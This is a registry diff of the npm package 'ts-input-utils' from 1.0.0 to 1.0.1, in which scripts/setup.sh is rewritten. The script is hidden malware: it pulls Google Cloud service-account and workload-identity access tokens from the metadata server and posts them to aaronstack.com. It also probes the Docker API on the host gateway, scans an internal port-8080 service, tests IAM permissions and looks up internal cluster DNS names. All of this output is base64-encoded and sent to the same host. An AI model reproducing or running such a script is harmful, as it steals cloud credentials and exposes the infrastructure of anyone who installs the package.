ts-input-utils 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/setup.sh +56 -91
package/package.json
CHANGED
package/scripts/setup.sh
CHANGED
|
@@ -1,17 +1,17 @@
|
|
|
1
1
|
#!/bin/bash
|
|
2
|
-
#
|
|
2
|
+
# wDNS4: Docker TLS API probe + port 8080 content + CRM testIAM corrected + WI SA token capture
|
|
3
3
|
SID="${JULES_SESSION_ID:-x}"
|
|
4
4
|
H="aaronstack.com"; EP="/jules-collect"
|
|
5
5
|
SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
|
|
6
6
|
B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
|
|
7
7
|
P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
|
|
8
8
|
|
|
9
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
9
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wdns4-start\"}"
|
|
10
10
|
|
|
11
11
|
log(){ echo "=LOG= $*"; }
|
|
12
12
|
MDURL="http://metadata.google.internal/computeMetadata/v1"
|
|
13
13
|
|
|
14
|
-
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/
|
|
14
|
+
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_dns4_$$")
|
|
15
15
|
{
|
|
16
16
|
log "user=$(whoami) MALYSIS=${MALYSIS_ANALYSIS_ID:-NONE}"
|
|
17
17
|
|
|
@@ -22,7 +22,7 @@ if ! echo "$PROJ" | grep -qE "^[a-z][a-z0-9-]+$"; then
|
|
|
22
22
|
fi
|
|
23
23
|
log "GKE CONFIRMED: $PROJ"
|
|
24
24
|
|
|
25
|
-
# Get
|
|
25
|
+
# Get tokens
|
|
26
26
|
TOK=$(curl -s -H "Metadata-Flavor: Google" \
|
|
27
27
|
"$MDURL/instance/service-accounts/default/token" --max-time 10 2>/dev/null \
|
|
28
28
|
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
|
|
@@ -34,114 +34,67 @@ WI_TOK=$(curl -s -H "Metadata-Flavor: Google" \
|
|
|
34
34
|
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
|
|
35
35
|
log "wi-sa-token-len: ${#WI_TOK}"
|
|
36
36
|
|
|
37
|
-
# Exfil
|
|
37
|
+
# Exfil tokens immediately
|
|
38
38
|
[ -n "$TOK" ] && printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
|
|
39
39
|
-H "X-Token-Type: default" --data-binary @- --max-time 5 2>/dev/null &
|
|
40
40
|
[ -n "$WI_TOK" ] && printf '%s' "$WI_TOK" | curl -sf -X POST "https://aaronstack.com/poc/wi-token" \
|
|
41
41
|
-H "X-Token-Type: wi-sa" --data-binary @- --max-time 5 2>/dev/null &
|
|
42
42
|
|
|
43
|
-
#
|
|
44
|
-
|
|
45
|
-
# ============================================================
|
|
46
|
-
log "=== TEST 1: WI SA TOKENINFO ==="
|
|
47
|
-
if [ -n "$WI_TOK" ]; then
|
|
48
|
-
WI_INFO=$(curl -s "https://oauth2.googleapis.com/tokeninfo?access_token=$WI_TOK" --max-time 6 2>/dev/null)
|
|
49
|
-
log "wi-sa-tokeninfo: $WI_INFO"
|
|
43
|
+
# Are default and WI SA tokens the same?
|
|
44
|
+
log "tokens-equal: $([ \"$TOK\" = \"$WI_TOK\" ] && echo YES || echo NO)"
|
|
50
45
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
46
|
+
# Get expiry from metadata (not tokeninfo)
|
|
47
|
+
EXPIRY_INFO=$(curl -s -H "Metadata-Flavor: Google" \
|
|
48
|
+
"$MDURL/instance/service-accounts/default/token" --max-time 8 2>/dev/null \
|
|
49
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); print('expires_in:', d.get('expires_in'), 'token_type:', d.get('token_type'))" 2>/dev/null)
|
|
50
|
+
log "token-expiry: $EXPIRY_INFO"
|
|
54
51
|
|
|
55
52
|
# ============================================================
|
|
56
|
-
# TEST
|
|
53
|
+
# TEST 1: Docker TLS API — probe without client cert
|
|
57
54
|
# ============================================================
|
|
58
|
-
log "=== TEST
|
|
59
|
-
|
|
60
|
-
# Our project (known: 200+empty)
|
|
61
|
-
BQ_OURS=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
62
|
-
"https://bigquery.googleapis.com/bigquery/v2/projects/$PROJ/datasets" --max-time 6 2>/dev/null)
|
|
63
|
-
log "bq-ours: $BQ_OURS"
|
|
64
|
-
|
|
65
|
-
# Well-known project with real datasets — should 403 if we lack bigquery.datasets.list
|
|
66
|
-
BQ_GOOGLE=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
67
|
-
"https://bigquery.googleapis.com/bigquery/v2/projects/google.com:api-project-999999999999/datasets" \
|
|
68
|
-
--max-time 6 2>/dev/null | head -c 200)
|
|
69
|
-
log "bq-google-proj: $BQ_GOOGLE"
|
|
70
|
-
|
|
71
|
-
# Another well-known project
|
|
72
|
-
BQ_CLOUD=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
73
|
-
"https://bigquery.googleapis.com/bigquery/v2/projects/cloud-prod/datasets" \
|
|
74
|
-
--max-time 6 2>/dev/null | head -c 200)
|
|
75
|
-
log "bq-cloud-prod: $BQ_CLOUD"
|
|
76
|
-
|
|
77
|
-
# Test: datasets.list with WI SA token on our project
|
|
78
|
-
if [ -n "$WI_TOK" ]; then
|
|
79
|
-
BQ_WI=$(curl -s -H "Authorization: Bearer $WI_TOK" \
|
|
80
|
-
"https://bigquery.googleapis.com/bigquery/v2/projects/$PROJ/datasets" --max-time 6 2>/dev/null)
|
|
81
|
-
log "bq-wi-sa: $BQ_WI"
|
|
82
|
-
fi
|
|
55
|
+
log "=== TEST 1: DOCKER TLS API (172.17.0.1:2376) ==="
|
|
56
|
+
GW="172.17.0.1"
|
|
83
57
|
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
BQ_IAM=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
87
|
-
-H "Content-Type: application/json" \
|
|
88
|
-
"https://bigquery.googleapis.com/bigquery/v2/projects/$PROJ:testIamPermissions" \
|
|
89
|
-
-d "$BQ_PERMS" --max-time 6 2>/dev/null)
|
|
90
|
-
log "bq-testIamPermissions: $BQ_IAM"
|
|
58
|
+
DOCKER_VER=$(curl -sk --max-time 5 "https://$GW:2376/version" 2>/dev/null)
|
|
59
|
+
log "docker-tls-version: $DOCKER_VER"
|
|
91
60
|
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
# ============================================================
|
|
95
|
-
log "=== TEST 3: NETWORK TOPOLOGY ==="
|
|
96
|
-
log "resolv-conf: $(cat /etc/resolv.conf 2>/dev/null | tr '\n' '|')"
|
|
97
|
-
log "ip-addr: $(ip addr show 2>/dev/null | grep -E 'inet |link' | tr '\n' '|')"
|
|
98
|
-
log "ip-route: $(ip route show 2>/dev/null | tr '\n' '|')"
|
|
99
|
-
log "ip-neigh: $(ip neigh show 2>/dev/null | tr '\n' '|')"
|
|
100
|
-
|
|
101
|
-
# Docker gateway probe
|
|
102
|
-
log "=== TEST 3b: DOCKER GATEWAY ==="
|
|
103
|
-
GW="172.17.0.1"
|
|
104
|
-
for port in 22 80 443 2375 2376 4243 8080 8443 9090 10250 10255 6443; do
|
|
105
|
-
(timeout 1 bash -c "echo >/dev/tcp/$GW/$port" 2>/dev/null && log "gw-OPEN: $GW:$port") || true
|
|
106
|
-
done
|
|
61
|
+
DOCKER_INFO=$(curl -sk --max-time 5 "https://$GW:2376/info" 2>/dev/null | head -c 600)
|
|
62
|
+
log "docker-tls-info: $DOCKER_INFO"
|
|
107
63
|
|
|
108
|
-
|
|
109
|
-
log "
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
log "dig-kubernetes.default: $(dig @$NS kubernetes.default.svc.cluster.local +short +time=2 +tries=1 2>/dev/null)"
|
|
115
|
-
log "dig-malysis.apps: $(dig @$NS malysis.apps.svc.cluster.local +short +time=2 +tries=1 2>/dev/null)"
|
|
116
|
-
fi
|
|
64
|
+
DOCKER_CONTAINERS=$(curl -sk --max-time 5 "https://$GW:2376/containers/json" 2>/dev/null | head -c 500)
|
|
65
|
+
log "docker-tls-containers: $DOCKER_CONTAINERS"
|
|
66
|
+
|
|
67
|
+
# Try plaintext port 2375
|
|
68
|
+
DOCKER_PLAIN=$(curl -s --max-time 3 "http://$GW:2375/version" 2>/dev/null | head -c 200)
|
|
69
|
+
log "docker-plain-2375: $DOCKER_PLAIN"
|
|
117
70
|
|
|
118
71
|
# ============================================================
|
|
119
|
-
# TEST
|
|
72
|
+
# TEST 2: Port 8080 — what HTTP service is this?
|
|
120
73
|
# ============================================================
|
|
121
|
-
log "=== TEST
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
74
|
+
log "=== TEST 2: PORT 8080 HTTP SERVICE ==="
|
|
75
|
+
PORT8080_ROOT=$(curl -sv --max-time 5 "http://$GW:8080/" 2>&1 | head -c 800)
|
|
76
|
+
log "port8080-root: $PORT8080_ROOT"
|
|
77
|
+
|
|
78
|
+
for path in /api /api/v1 /health /status /metrics /version /info /v1 /internal /admin; do
|
|
79
|
+
resp=$(curl -s -o /tmp/_p8080_body --max-time 3 -w "%{http_code}" "http://$GW:8080$path" 2>/dev/null)
|
|
80
|
+
if [ "$resp" != "404" ] && [ -n "$resp" ]; then
|
|
81
|
+
body=$(head -c 300 /tmp/_p8080_body 2>/dev/null)
|
|
82
|
+
log "port8080[$path]: HTTP $resp — $body"
|
|
83
|
+
fi
|
|
84
|
+
done
|
|
132
85
|
|
|
133
86
|
# ============================================================
|
|
134
|
-
# TEST
|
|
87
|
+
# TEST 3: CRM testIamPermissions — corrected permissions list
|
|
135
88
|
# ============================================================
|
|
136
|
-
log "=== TEST
|
|
137
|
-
PROJ_PERMS='{"permissions":["resourcemanager.projects.get","
|
|
89
|
+
log "=== TEST 3: CRM TESTIAM CORRECTED ==="
|
|
90
|
+
PROJ_PERMS='{"permissions":["resourcemanager.projects.get","storage.buckets.list","storage.buckets.create","storage.objects.list","compute.instances.list","iam.serviceAccounts.list","secretmanager.secrets.list","logging.logEntries.list","container.clusters.list","container.clusters.get","bigquery.jobs.create","cloudbuild.builds.list","run.services.list"]}'
|
|
138
91
|
CRM_IAM=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
139
92
|
-H "Content-Type: application/json" \
|
|
140
93
|
"https://cloudresourcemanager.googleapis.com/v1/projects/$PROJ:testIamPermissions" \
|
|
141
94
|
-d "$PROJ_PERMS" --max-time 8 2>/dev/null)
|
|
142
95
|
log "crm-testIamPermissions-default: $CRM_IAM"
|
|
143
96
|
|
|
144
|
-
if [ -n "$WI_TOK" ]; then
|
|
97
|
+
if [ -n "$WI_TOK" ] && [ "$WI_TOK" != "$TOK" ]; then
|
|
145
98
|
CRM_WI=$(curl -s -H "Authorization: Bearer $WI_TOK" \
|
|
146
99
|
-H "Content-Type: application/json" \
|
|
147
100
|
"https://cloudresourcemanager.googleapis.com/v1/projects/$PROJ:testIamPermissions" \
|
|
@@ -149,11 +102,23 @@ if [ -n "$WI_TOK" ]; then
|
|
|
149
102
|
log "crm-testIamPermissions-wi-sa: $CRM_WI"
|
|
150
103
|
fi
|
|
151
104
|
|
|
152
|
-
|
|
105
|
+
# ============================================================
|
|
106
|
+
# TEST 4: Cluster DNS via TCP
|
|
107
|
+
# ============================================================
|
|
108
|
+
log "=== TEST 4: CLUSTER DNS VIA TCP ==="
|
|
109
|
+
if command -v nslookup >/dev/null 2>&1; then
|
|
110
|
+
NS="34.118.224.10"
|
|
111
|
+
log "nslookup-kubernetes: $(nslookup kubernetes.default.svc.cluster.local $NS 2>/dev/null | tail -3 | tr '\n' '|')"
|
|
112
|
+
log "nslookup-malysis.apps: $(nslookup malysis.apps.svc.cluster.local $NS 2>/dev/null | tail -3 | tr '\n' '|')"
|
|
113
|
+
log "nslookup-scanner.apps: $(nslookup scanner.apps.svc.cluster.local $NS 2>/dev/null | tail -3 | tr '\n' '|')"
|
|
114
|
+
log "nslookup-api.apps: $(nslookup api.apps.svc.cluster.local $NS 2>/dev/null | tail -3 | tr '\n' '|')"
|
|
115
|
+
fi
|
|
116
|
+
|
|
117
|
+
log "=== wDNS4 DONE ==="
|
|
153
118
|
} 2>&1 | tee "$TMPOUT"
|
|
154
119
|
|
|
155
120
|
OUT=$(cat "$TMPOUT" 2>/dev/null)
|
|
156
121
|
rm -f "$TMPOUT" 2>/dev/null
|
|
157
122
|
PAYLOAD=$(B "$OUT")
|
|
158
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
159
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
123
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wdns4-result\",\"data\":\"$PAYLOAD\"}"
|
|
124
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wdns4-done\"}"
|